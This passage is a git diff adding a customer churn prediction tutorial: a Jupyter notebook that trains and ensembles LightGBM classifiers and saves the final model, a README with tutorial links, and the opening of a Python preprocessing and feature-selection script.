"### Can we do better with Ensembles Lerning? \n", + "\n", + "We have seen above that LightGBM has the best performance on recall metric, and it came close second when comparing using F1-scores. So we will take it as our final model.\n", + " We can see from the code below that:\n", + " - In the first version of this model, we choose Decision Tree as our boosting type, and both target classes have equal weight because we have not dealt with class imbalance.\n", + " - In the second version, we have weighted the undersampled class by the class imbalance ratio to correct the class imbalance. The class imbalance ratio has been defined above.\n", + " - In the third version, there is a partial imbalance correction( The class weight defined here is the one we found during hyperparameter tuning. We consider it as our Best class_weight parameter settings\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "7-Ifjo1hpExN" + }, + "outputs": [], + "source": [ + "## Three versions of the final model with best params for F1-score metric\n", + "\n", + "# Equal weights to both target classes (no class imbalance correction)\n", + "lgb1 = LGBMClassifier(boosting_type = 'dart', class_weight = {0: 1, 1: 1}, min_child_samples = 20, n_jobs = - 1\n", + " , importance_type = 'gain', max_depth = 4, num_leaves = 31, colsample_bytree = 0.6, learning_rate = 0.1\n", + " , n_estimators = 21, reg_alpha = 0, reg_lambda = 0.5)\n", + "\n", + "# Addressing class imbalance completely by weighting the undersampled class by the class imbalance ratio\n", + "lgb2 = LGBMClassifier(boosting_type = 'dart', class_weight = {0: 1, 1: 3.93}, min_child_samples = 20, n_jobs = - 1\n", + " , importance_type = 'gain', max_depth = 6, num_leaves = 63, colsample_bytree = 0.6, learning_rate = 0.1\n", + " , n_estimators = 201, reg_alpha = 1, reg_lambda = 1)\n", + "\n", + "\n", + "# Best class_weight parameter settings (partial class imbalance correction)\n", + "lgb3 = LGBMClassifier(boosting_type = 'dart', class_weight = {0: 1, 1: 3.0}, min_child_samples = 20, n_jobs = - 1\n", + " , importance_type = 'gain', max_depth = 6, num_leaves = 63, colsample_bytree = 0.6, learning_rate = 0.1\n", + " , n_estimators = 201, reg_alpha = 1, reg_lambda = 1)\n" + ] + }, + { + "cell_type": "markdown", + "source": [ + "The below program define different Pipeline objects for the 3 models defined above" + ], + "metadata": { + "id": "wPAmn7qI6fE-" + } + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Xu8eFxsBpExN" + }, + "outputs": [], + "source": [ + "\n", + "model_1 = Pipeline(steps = [('categorical_encoding', CategoricalEncoder()),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier', lgb1)\n", + " ])\n", + "\n", + "model_2 = Pipeline(steps = [('categorical_encoding', CategoricalEncoder()),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier', lgb2)\n", + " ])\n", + "\n", + "model_3 = Pipeline(steps = [('categorical_encoding', CategoricalEncoder()),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier', lgb3)\n", + " ])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "4miypt6SpExN", + "outputId": "ceb41ddb-d42e-4414-fd6f-0247a6ef3cee" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "Pipeline(steps=[('categorical_encoding',\n", + " CategoricalEncoder(cols=[], lcols=[], ohecols=[], tcols=[])),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier',\n", + " LGBMClassifier(boosting_type='dart', class_weight={0: 1, 1: 1},\n", + " colsample_bytree=0.6, importance_type='gain',\n", + " max_depth=4, n_estimators=21, reg_alpha=0,\n", + " reg_lambda=0.5))])" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "Pipeline(steps=[('categorical_encoding',\n", + " CategoricalEncoder(cols=[], lcols=[], ohecols=[], tcols=[])),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier',\n", + " LGBMClassifier(boosting_type='dart',\n", + " class_weight={0: 1, 1: 3.93},\n", + " colsample_bytree=0.6, importance_type='gain',\n", + " max_depth=6, n_estimators=201, num_leaves=63,\n", + " reg_alpha=1, reg_lambda=1))])" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "Pipeline(steps=[('categorical_encoding',\n", + " CategoricalEncoder(cols=[], lcols=[], ohecols=[], tcols=[])),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier',\n", + " LGBMClassifier(boosting_type='dart',\n", + " class_weight={0: 1, 1: 3.0},\n", + " colsample_bytree=0.6, importance_type='gain',\n", + " max_depth=6, n_estimators=201, num_leaves=63,\n", + " reg_alpha=1, reg_lambda=1))])" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "## Fitting each of these models\n", + "model_1.fit(X_train, y_train.ravel())\n", + "model_2.fit(X_train, y_train.ravel())\n", + "model_3.fit(X_train, y_train.ravel())" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "uZmICsLMpExN" + }, + "outputs": [], + "source": [ + "## Getting prediction probabilities from each of these models\n", + "m1_pred_probs_trn = model_1.predict_proba(X_train)\n", + "m2_pred_probs_trn = model_2.predict_proba(X_train)\n", + "m3_pred_probs_trn = model_3.predict_proba(X_train)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 162 + }, + "id": "tFfg69cHpExN", + "outputId": "d4a2ce42-68fb-4aec-f044-ce167e4552b2" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(7920, 3)" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/html": [ + "\n", + "
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\n", + " " + ], + "text/plain": [ + " m1_pred m2_pred m3_pred\n", + "m1_pred 1.000000 0.894747 0.911251\n", + "m2_pred 0.894747 1.000000 0.994593\n", + "m3_pred 0.911251 0.994593 1.000000" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "## Checking correlations between the predictions of the 3 models\n", + "df_t = pd.DataFrame({'m1_pred': m1_pred_probs_trn[:,1], 'm2_pred': m2_pred_probs_trn[:,1], 'm3_pred': m3_pred_probs_trn[:,1]})\n", + "df_t.shape\n", + "df_t.corr()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "pdvX6q16pExO" + }, + "source": [ + "Although models m1 and m2 are highly correlated (0.9), they are still less closely associated than m2 and m3.\n", + "Thus, we'll try to form an ensemble of m1 and m2 (model averaging/stacking) and see if that improves the model accuracy" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "1s6-BjMVpExO" + }, + "outputs": [], + "source": [ + "## Getting prediction probabilities from each of these models\n", + "m1_pred_probs_val = model_1.predict_proba(X_val)\n", + "m2_pred_probs_val = model_2.predict_proba(X_val)\n", + "m3_pred_probs_val = model_3.predict_proba(X_val)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "q9WqtJz-pExO", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "c68c730c-edb3-4fab-998e-199614f7d088" + }, + "outputs": [ + { + "metadata": { + "tags": null + }, + "name": "stdout", + "output_type": "stream", + "text": [ + "Confusion Matrix: [[759 83]\n", + " [ 97 141]]\n", + "Area Under Curve: 0.7469310764685922\n", + "Recall score: 0.592436974789916\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.89 0.90 0.89 842\n", + " 1 0.63 0.59 0.61 238\n", + "\n", + " accuracy 0.83 1080\n", + " macro avg 0.76 0.75 0.75 1080\n", + "weighted avg 0.83 0.83 0.83 1080\n", + "\n" + ] + } + ], + "source": [ + "threshold = 0.5\n", + "## Best model (Model 3) predictions\n", + "m3_preds = np.where(m3_pred_probs_val[:,1] >= threshold, 1, 0)\n", + "## Model averaging predictions (Weighted average)\n", + "m1_m2_preds = np.where(((0.1*m1_pred_probs_val[:,1]) + (0.9*m2_pred_probs_val[:,1])) >= threshold, 1, 0)\n", + "## Model 3 (Best model, tuned by GridSearch) performance on validation set\n", + "print(f'Confusion Matrix: {confusion_matrix(y_val,m3_preds)}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_val,m3_preds)}')\n", + "print(f'Recall score: {recall_score(y_val,m3_preds)}')\n", + "print(f'Classification report: \\n{classification_report(y_val,m3_preds)}')" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "qTsvbOtNpExU" + }, + "source": [ + "### Train and Save the model" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "j3S5aSaxpExV", + "outputId": "585d845a-3205-4d25-d224-0995ca995b69" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "((7920, 17), (7920,))" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "((1080, 17), (1080,))" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "## Re-defining X_train and X_val to consider original unscaled continuous features. y_train and y_val remain unaffected\n", + "X_train = dc_train.drop(columns = ['Exited'], axis = 1)\n", + "X_val = dc_val.drop(columns = ['Exited'], axis = 1)\n", + "\n", + "X_train.shape, y_train.shape\n", + "X_val.shape, y_val.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "I2csS6dppExV", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "3ea7ea83-9b88-42a9-ab93-bbac5e094896" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "Pipeline(steps=[('categorical_encoding',\n", + " CategoricalEncoder(cols=[], lcols=[], ohecols=[], tcols=[])),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier',\n", + " LGBMClassifier(boosting_type='dart',\n", + " class_weight={0: 1, 1: 3.0},\n", + " colsample_bytree=0.6, importance_type='gain',\n", + " max_depth=6, n_estimators=201, num_leaves=63,\n", + " reg_alpha=1, reg_lambda=1))])" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + }, + { + "metadata": { + "tags": null + }, + "name": "stdout", + "output_type": "stream", + "text": [ + "Confusion Matrix: [[740 102]\n", + " [ 86 152]]\n", + "Area Under Curve: 0.7587576598335297\n", + "Recall score: 0.6386554621848739\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.90 0.88 0.89 842\n", + " 1 0.60 0.64 0.62 238\n", + "\n", + " accuracy 0.83 1080\n", + " macro avg 0.75 0.76 0.75 1080\n", + "weighted avg 0.83 0.83 0.83 1080\n", + "\n" + ] + } + ], + "source": [ + "best_f1_lgb = LGBMClassifier(boosting_type = 'dart', class_weight = {0: 1, 1: 3.0}, min_child_samples = 20, n_jobs = - 1\n", + " , importance_type = 'gain', max_depth = 6, num_leaves = 63, colsample_bytree = 0.6, learning_rate = 0.1\n", + " , n_estimators = 201, reg_alpha = 1, reg_lambda = 1)\n", + "best_recall_lgb = LGBMClassifier(boosting_type='dart', num_leaves=31, max_depth= 6, learning_rate=0.1, n_estimators = 21\n", + " , class_weight= {0: 1, 1: 3.93}, min_child_samples=2, colsample_bytree=0.6, reg_alpha=0.3\n", + " , reg_lambda=1.0, n_jobs=- 1, importance_type = 'gain')\n", + "model = Pipeline(steps = [('categorical_encoding', CategoricalEncoder()),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier', best_f1_lgb)\n", + " ])\n", + "## Fitting final model on train dataset\n", + "model.fit(X_train, y_train)\n", + "# Predict target probabilities\n", + "val_probs = model.predict_proba(X_val)[:,1]\n", + "\n", + "# Predict target values on val data\n", + "val_preds = np.where(val_probs > 0.45, 1, 0) # The probability threshold can be tweaked\n", + "## Validation metrics\n", + "print(f'Confusion Matrix: {confusion_matrix(y_val,val_preds)}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_val,val_preds)}')\n", + "print(f'Recall score: {recall_score(y_val,val_preds)}')\n", + "print(f'Classification report: \\n{classification_report(y_val,val_preds)}')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "1ugPxUMlpExV", + "outputId": "2dc546b5-fb92-4da2-d515-64073489ed52" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "['final_churn_model_f1_0_45.sav']" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "## Save model object\n", + "joblib.dump(model, 'final_churn_model_f1_0_45.sav')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "eTf1AMqYpExY", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "5b65760a-23cf-4772-f421-e9fb3f3c4407" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "0.7678570272911421" + ] + }, + "metadata": {}, + "execution_count": 181 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "0.675392670157068" + ] + }, + "metadata": {}, + "execution_count": 181 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([[696, 113],\n", + " [ 62, 129]])" + ] + }, + "metadata": {}, + "execution_count": 181 + }, + { + "output_type": "stream", + "name": "stdout", + "text": [ + " precision recall f1-score support\n", + "\n", + " 0 0.92 0.86 0.89 809\n", + " 1 0.53 0.68 0.60 191\n", + "\n", + " accuracy 0.82 1000\n", + " macro avg 0.73 0.77 0.74 1000\n", + "weighted avg 0.84 0.82 0.83 1000\n", + "\n" + ] + } + ], + "source": [ + "## Load model object\n", + "model = joblib.load('final_churn_model_f1_0_45.sav')\n", + "X_test = dc_test.drop(columns = ['Exited'], axis = 1)\n", + "## Predict target probabilities\n", + "test_probs = model.predict_proba(X_test)[:,1]\n", + "## Predict target values on test data\n", + "test_preds = np.where(test_probs > 0.45, 1, 0) # Flexibility to tweak the probability threshold\n", + "#test_preds = model.predict(X_test)\n", + "## Test set metrics\n", + "roc_auc_score(y_test, test_preds)\n", + "recall_score(y_test, test_preds)\n", + "confusion_matrix(y_test, test_preds)\n", + "print(classification_report(y_test, test_preds))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "oIdxDpXhpExY", + "colab": { + "base_uri": "https://localhost:8080/", + "height": 427 + }, + "outputId": "34bf4c59-9ad6-4a13-9b5c-265932761f25" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " CreditScore Gender Age Tenure Balance NumOfProducts HasCrCard \\\n", + "612 795 0 33 9 130862.43 1 1 \n", + "241 430 1 36 1 138992.48 2 0 \n", + "999 793 1 56 8 119496.25 2 1 \n", + "177 477 0 58 8 145984.92 1 1 \n", + "495 814 0 31 4 0.00 2 1 \n", + "297 488 0 28 7 139246.22 2 1 \n", + "210 646 1 36 6 124445.52 1 1 \n", + "648 714 1 25 2 0.00 1 1 \n", + "704 586 1 32 1 149814.54 1 1 \n", + "755 614 0 41 3 123475.04 1 1 \n", + "\n", + " IsActiveMember EstimatedSalary Exited country_France country_Germany \\\n", + "612 1 114935.21 0 0.0 1.0 \n", + "241 0 122373.42 0 0.0 1.0 \n", + "999 0 29880.99 0 1.0 0.0 \n", + "177 1 24564.70 0 0.0 1.0 \n", + "495 1 142029.17 0 1.0 0.0 \n", + "297 0 106799.49 0 0.0 1.0 \n", + "210 0 88481.32 0 1.0 0.0 \n", + "648 1 132979.43 0 0.0 0.0 \n", + "704 0 31830.06 0 0.0 1.0 \n", + "755 1 179227.52 0 1.0 0.0 \n", + "\n", + " country_Spain Surname_enc bal_per_product bal_by_est_salary \\\n", + "612 0.0 0.000000 130862.299138 1.138576 \n", + "241 0.0 0.222222 69496.205252 1.135806 \n", + "999 0.0 0.285714 59748.095126 3.999073 \n", + "177 0.0 0.203030 145984.774015 5.942874 \n", + "495 0.0 0.203030 0.000000 0.000000 \n", + "297 0.0 0.176471 69623.075188 1.303810 \n", + "210 0.0 0.500000 124445.395555 1.406461 \n", + "648 1.0 0.200000 0.000000 0.000000 \n", + "704 0.0 0.090909 149814.390186 4.706700 \n", + "755 0.0 0.203030 123474.916525 0.688929 \n", + "\n", + " tenure_age_ratio age_surname_mean_churn predictions pred_probabilities \n", + "612 0.272727 0.000000 1 0.504252 \n", + "241 0.027778 1.333333 0 0.161264 \n", + "999 0.142857 2.138090 1 0.828994 \n", + "177 0.137931 1.546233 0 0.246498 \n", + "495 0.129032 1.130425 0 0.012187 \n", + "297 0.250000 0.933795 0 0.147610 \n", + "210 0.166667 3.000000 0 0.109250 \n", + "648 0.080000 1.000000 0 0.110855 \n", + "704 0.031250 0.514259 1 0.456458 \n", + "755 0.073171 1.300028 0 0.046214 " + ], + "text/html": [ + "\n", + "
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\n", + " " + ] + }, + "metadata": {}, + "execution_count": 184 + } + ], + "source": [ + "high_churn_list = test[test.pred_probabilities > 0.7].sort_values(by = ['pred_probabilities'], ascending = False\n", + " ).reset_index().drop(columns = ['index', 'Exited', 'predictions'], axis = 1)\n", + "high_churn_list.shape\n", + "high_churn_list.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "JpYzPqfQpExZ" + }, + "outputs": [], + "source": [ + "high_churn_list.to_csv('high_churn_list.csv', index = False)" + ] + } + ], + "metadata": { + "colab": { + "collapsed_sections": [], + "name": "Customer Churn Tutorial", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.6.2" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} \ No newline at end of file diff --git a/machine-learning/customer-churn-detection/README.md b/machine-learning/customer-churn-detection/README.md new file mode 100644 index 00000000..1ca8c61f --- /dev/null +++ b/machine-learning/customer-churn-detection/README.md @@ -0,0 +1,4 @@ +# [Customer Churn Prediction in Python](https://www.thepythoncode.com/article/customer-churn-detection-using-sklearn-in-python) +You can get the tutorial notebook [here](https://colab.research.google.com/drive/1az3zBurhlcZfLJ2j2kZNlBtflsOQ5CUg?usp=sharing). + +You can also check [the original notebook](https://colab.research.google.com/drive/1DrCPwlDBo6YBMB61zgJ2j1QFttVV49ic?usp=sharing) for running (includes additional grid/randomized searching) that are not in [the tutorial](https://www.thepythoncode.com/article/customer-churn-detection-using-sklearn-in-python). diff --git a/machine-learning/customer-churn-detection/customer_churn_prediction.py b/machine-learning/customer-churn-detection/customer_churn_prediction.py new file mode 100644 index 00000000..2933dfea --- /dev/null +++ b/machine-learning/customer-churn-detection/customer_churn_prediction.py @@ -0,0 +1,507 @@ +# %% +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +import seaborn as sns +from sklearn.preprocessing import LabelEncoder, OneHotEncoder, StandardScaler +from sklearn.feature_selection import RFE +from sklearn.linear_model import LogisticRegression +from sklearn.svm import SVC +from sklearn.decomposition import PCA +from sklearn.tree import DecisionTreeClassifier, export_graphviz +from sklearn.pipeline import Pipeline +from sklearn.model_selection import train_test_split +from lightgbm import LGBMClassifier +from sklearn.metrics import roc_auc_score, recall_score, confusion_matrix, classification_report +import subprocess +import joblib +# Get multiple outputs in the same cell +from IPython.core.interactiveshell import InteractiveShell +InteractiveShell.ast_node_interactivity = "all" +# Ignore all warnings +import warnings +warnings.filterwarnings('ignore') +warnings.filterwarnings(action='https://github.com/ignore', category=DeprecationWarning) +pd.set_option('display.max_columns', None) +pd.set_option('display.max_rows', None) + +# %% +# Reading the dataset +dc = pd.read_csv("Churn_Modelling.csv") +dc.head(5) + +# %% +# Dimension of the dataset +dc.shape + +# %% +dc.describe(exclude= ['O']) # Describe all numerical columns +dc.describe(include = ['O']) # Describe all non-numerical/categorical columns + +# %% +# Checking number of unique customers in the dataset +dc.shape[0], dc.CustomerId.nunique() + +# %% +# churn value Distribution +dc["Exited"].value_counts() + +# %% +dc.groupby(['Surname']).agg({'RowNumber':'count', 'Exited':'mean'} + ).reset_index().sort_values(by='RowNumber', ascending=False).head() + +# %% +dc.groupby(['Geography']).agg({'RowNumber':'count', 'Exited':'mean'} + ).reset_index().sort_values(by='RowNumber', ascending=False) + +# %% +sns.set(style="whitegrid") +sns.boxplot(y=dc['CreditScore']) + +# %% +sns.boxplot(y=dc['Age']) + +# %% +sns.violinplot(y = dc.Tenure) + +# %% +sns.violinplot(y = dc['Balance']) + +# %% +sns.set(style = 'ticks') +sns.distplot(dc.NumOfProducts, hist=True, kde=False) + +# %% +# When dealing with numerical characteristics, one of the most useful statistics to examine is the data distribution. +# we can use Kernel-Density-Estimation plot for that purpose. +sns.kdeplot(dc.EstimatedSalary) + +# %% +# Separating out different columns into various categories as defined above +target_var = ['Exited'] +cols_to_remove = ['RowNumber', 'CustomerId'] +# numerical columns +num_feats = ['CreditScore', 'Age', 'Tenure', 'Balance', 'NumOfProducts', 'EstimatedSalary'] +# categorical columns +cat_feats = ['Surname', 'Geography', 'Gender', 'HasCrCard', 'IsActiveMember'] + +# %% +y = dc[target_var].values +dc.drop(cols_to_remove, axis=1, inplace=True) + +# %% +# Keeping aside a test/holdout set +dc_train_val, dc_test, y_train_val, y_test = train_test_split(dc, y.ravel(), test_size = 0.1, random_state = 42) + +# Splitting into train and validation set +dc_train, dc_val, y_train, y_val = train_test_split(dc_train_val, y_train_val, test_size = 0.12, random_state = 42) +dc_train.shape, dc_val.shape, dc_test.shape, y_train.shape, y_val.shape, y_test.shape +np.mean(y_train), np.mean(y_val), np.mean(y_test) + +# %% +# label encoding With the sklearn method +le = LabelEncoder() +# Label encoding of Gender variable +dc_train['Gender'] = le.fit_transform(dc_train['Gender']) +le_gender_mapping = dict(zip(le.classes_, le.transform(le.classes_))) +le_gender_mapping + +# %% +# Encoding Gender feature for validation and test set +dc_val['Gender'] = dc_val.Gender.map(le_gender_mapping) +dc_test['Gender'] = dc_test.Gender.map(le_gender_mapping) + +# Filling missing/NaN values created due to new categorical levels +dc_val['Gender'].fillna(-1, inplace=True) +dc_test['Gender'].fillna(-1, inplace=True) + +# %% +dc_train.Gender.unique(), dc_val.Gender.unique(), dc_test.Gender.unique() + +# %% +# With the sklearn method(LabelEncoder()) +le_ohe = LabelEncoder() +ohe = OneHotEncoder(handle_unknown = 'ignore', sparse=False) +enc_train = le_ohe.fit_transform(dc_train.Geography).reshape(dc_train.shape[0],1) +ohe_train = ohe.fit_transform(enc_train) +ohe_train + +# %% +# mapping between classes +le_ohe_geography_mapping = dict(zip(le_ohe.classes_, le_ohe.transform(le_ohe.classes_))) +le_ohe_geography_mapping + +# %% +# Encoding Geography feature for validation and test set +enc_val = dc_val.Geography.map(le_ohe_geography_mapping).ravel().reshape(-1,1) +enc_test = dc_test.Geography.map(le_ohe_geography_mapping).ravel().reshape(-1,1) + +# Filling missing/NaN values created due to new categorical levels +enc_val[np.isnan(enc_val)] = 9999 +enc_test[np.isnan(enc_test)] = 9999 + +# %% +ohe_val = ohe.transform(enc_val) +ohe_test = ohe.transform(enc_test) + +# %% +# Show what happens when a new value is inputted into the OHE +ohe.transform(np.array([[9999]])) + +# %% +cols = ['country_' + str(x) for x in le_ohe_geography_mapping.keys()] +cols + +# %% +# Adding to the respective dataframes +dc_train = pd.concat([dc_train.reset_index(), pd.DataFrame(ohe_train, columns = cols)], axis = 1).drop(['index'], axis=1) +dc_val = pd.concat([dc_val.reset_index(), pd.DataFrame(ohe_val, columns = cols)], axis = 1).drop(['index'], axis=1) +dc_test = pd.concat([dc_test.reset_index(), pd.DataFrame(ohe_test, columns = cols)], axis = 1).drop(['index'], axis=1) +print("Training set") +dc_train.head() +print("\n\nValidation set") +dc_val.head() +print("\n\nTest set") +dc_test.head() + +# %% +dc_train.drop(['Geography'], axis=1, inplace=True) +dc_val.drop(['Geography'], axis=1, inplace=True) +dc_test.drop(['Geography'], axis=1, inplace=True) + +# %% +means = dc_train.groupby(['Surname']).Exited.mean() +means.head() +means.tail() + +# %% +global_mean = y_train.mean() +global_mean + +# %% +# Creating new encoded features for surname - Target (mean) encoding +dc_train['Surname_mean_churn'] = dc_train.Surname.map(means) +dc_train['Surname_mean_churn'].fillna(global_mean, inplace=True) + +# %% +freqs = dc_train.groupby(['Surname']).size() +freqs.head() + +# %% +dc_train['Surname_freq'] = dc_train.Surname.map(freqs) +dc_train['Surname_freq'].fillna(0, inplace=True) + +# %% +dc_train['Surname_enc'] = ((dc_train.Surname_freq * dc_train.Surname_mean_churn) - dc_train.Exited)/(dc_train.Surname_freq - 1) +# Fill NaNs occuring due to category frequency being 1 or less +dc_train['Surname_enc'].fillna((((dc_train.shape[0] * global_mean) - dc_train.Exited) / (dc_train.shape[0] - 1)), inplace=True) +dc_train.head(5) + +# %% +# Replacing by category means and new category levels by global mean +dc_val['Surname_enc'] = dc_val.Surname.map(means) +dc_val['Surname_enc'].fillna(global_mean, inplace=True) +dc_test['Surname_enc'] = dc_test.Surname.map(means) +dc_test['Surname_enc'].fillna(global_mean, inplace=True) +# Show that using LOO Target encoding decorrelates features +dc_train[['Surname_mean_churn', 'Surname_enc', 'Exited']].corr() + +# %% +dc_train.drop(['Surname_mean_churn'], axis=1, inplace=True) +dc_train.drop(['Surname_freq'], axis=1, inplace=True) +dc_train.drop(['Surname'], axis=1, inplace=True) +dc_val.drop(['Surname'], axis=1, inplace=True) +dc_test.drop(['Surname'], axis=1, inplace=True) +dc_train.head() + +# %% +corr = dc_train.corr() +sns.heatmap(corr, cmap = 'coolwarm') + +# %% +sns.boxplot(x="Exited", y="Age", data=dc_train, palette="Set3") + +# %% +sns.violinplot(x="Exited", y="Balance", data=dc_train, palette="Set3") + +# %% +cat_vars_bv = ['Gender', 'IsActiveMember', 'country_Germany', 'country_France'] + +for col in cat_vars_bv: + dc_train.groupby([col]).Exited.mean() + print() + +# %% +# Computed mean on churned or non chuned custmers group by number of product on training data +col = 'NumOfProducts' +dc_train.groupby([col]).Exited.mean() +# unique "NumOfProducts" on training data +dc_train[col].value_counts() + +# %% +eps = 1e-6 + +dc_train['bal_per_product'] = dc_train.Balance/(dc_train.NumOfProducts + eps) +dc_train['bal_by_est_salary'] = dc_train.Balance/(dc_train.EstimatedSalary + eps) +dc_train['tenure_age_ratio'] = dc_train.Tenure/(dc_train.Age + eps) +dc_train['age_surname_mean_churn'] = np.sqrt(dc_train.Age) * dc_train.Surname_enc + +# %% +new_cols = ['bal_per_product', 'bal_by_est_salary', 'tenure_age_ratio', 'age_surname_mean_churn'] +# Ensuring that the new column doesn't have any missing values +dc_train[new_cols].isnull().sum() + +# %% +# Linear association of new columns with target variables to judge importance +sns.heatmap(dc_train[new_cols + ['Exited']].corr(), annot=True) + +# %% +dc_val['bal_per_product'] = dc_val.Balance/(dc_val.NumOfProducts + eps) +dc_val['bal_by_est_salary'] = dc_val.Balance/(dc_val.EstimatedSalary + eps) +dc_val['tenure_age_ratio'] = dc_val.Tenure/(dc_val.Age + eps) +dc_val['age_surname_mean_churn'] = np.sqrt(dc_val.Age) * dc_val.Surname_enc +dc_test['bal_per_product'] = dc_test.Balance/(dc_test.NumOfProducts + eps) +dc_test['bal_by_est_salary'] = dc_test.Balance/(dc_test.EstimatedSalary + eps) +dc_test['tenure_age_ratio'] = dc_test.Tenure/(dc_test.Age + eps) +dc_test['age_surname_mean_churn'] = np.sqrt(dc_test.Age) * dc_test.Surname_enc + +# %% +# initialize the standard scaler +sc = StandardScaler() +cont_vars = ['CreditScore', 'Age', 'Tenure', 'Balance', 'NumOfProducts', 'EstimatedSalary', 'Surname_enc', 'bal_per_product' + , 'bal_by_est_salary', 'tenure_age_ratio', 'age_surname_mean_churn'] +cat_vars = ['Gender', 'HasCrCard', 'IsActiveMember', 'country_France', 'country_Germany', 'country_Spain'] +# Scaling only continuous columns +cols_to_scale = cont_vars +sc_X_train = sc.fit_transform(dc_train[cols_to_scale]) +# Converting from array to dataframe and naming the respective features/columns +sc_X_train = pd.DataFrame(data=sc_X_train, columns=cols_to_scale) +sc_X_train.shape +sc_X_train.head() + +# %% +# Scaling validation and test sets by transforming the mapping obtained through the training set +sc_X_val = sc.transform(dc_val[cols_to_scale]) +sc_X_test = sc.transform(dc_test[cols_to_scale]) +# Converting val and test arrays to dataframes for re-usability +sc_X_val = pd.DataFrame(data=sc_X_val, columns=cols_to_scale) +sc_X_test = pd.DataFrame(data=sc_X_test, columns=cols_to_scale) + +# %% +# Creating feature-set and target for RFE model +y = dc_train['Exited'].values +X = dc_train[cat_vars + cont_vars] +X.columns = cat_vars + cont_vars +X.columns + +# %% +# for logistics regression +rfe = RFE(estimator=LogisticRegression(), n_features_to_select=10) +rfe = rfe.fit(X.values, y) +# mask of selected features +print(rfe.support_) +# The feature ranking, such that ranking_[i] corresponds to the ranking position of the i-th feature +print(rfe.ranking_) + +# %% +# Logistic regression (linear) +mask = rfe.support_.tolist() +selected_feats = [b for a,b in zip(mask, X.columns) if a] +selected_feats + +# %% +rfe_dt = RFE(estimator=DecisionTreeClassifier(max_depth = 4, criterion = 'entropy'), n_features_to_select=10) +rfe_dt = rfe_dt.fit(X.values, y) + +# %% +mask = rfe_dt.support_.tolist() +selected_feats_dt = [b for a,b in zip(mask, X.columns) if a] +selected_feats_dt + +# %% +selected_cat_vars = [x for x in selected_feats if x in cat_vars] +selected_cont_vars = [x for x in selected_feats if x in cont_vars] +# Using categorical features and scaled numerical features +X_train = np.concatenate((dc_train[selected_cat_vars].values, sc_X_train[selected_cont_vars].values), axis=1) +X_val = np.concatenate((dc_val[selected_cat_vars].values, sc_X_val[selected_cont_vars].values), axis=1) +X_test = np.concatenate((dc_test[selected_cat_vars].values, sc_X_test[selected_cont_vars].values), axis=1) +# print the shapes +X_train.shape, X_val.shape, X_test.shape + +# %% +# Obtaining class weights based on the class samples imbalance ratio +_, num_samples = np.unique(y_train, 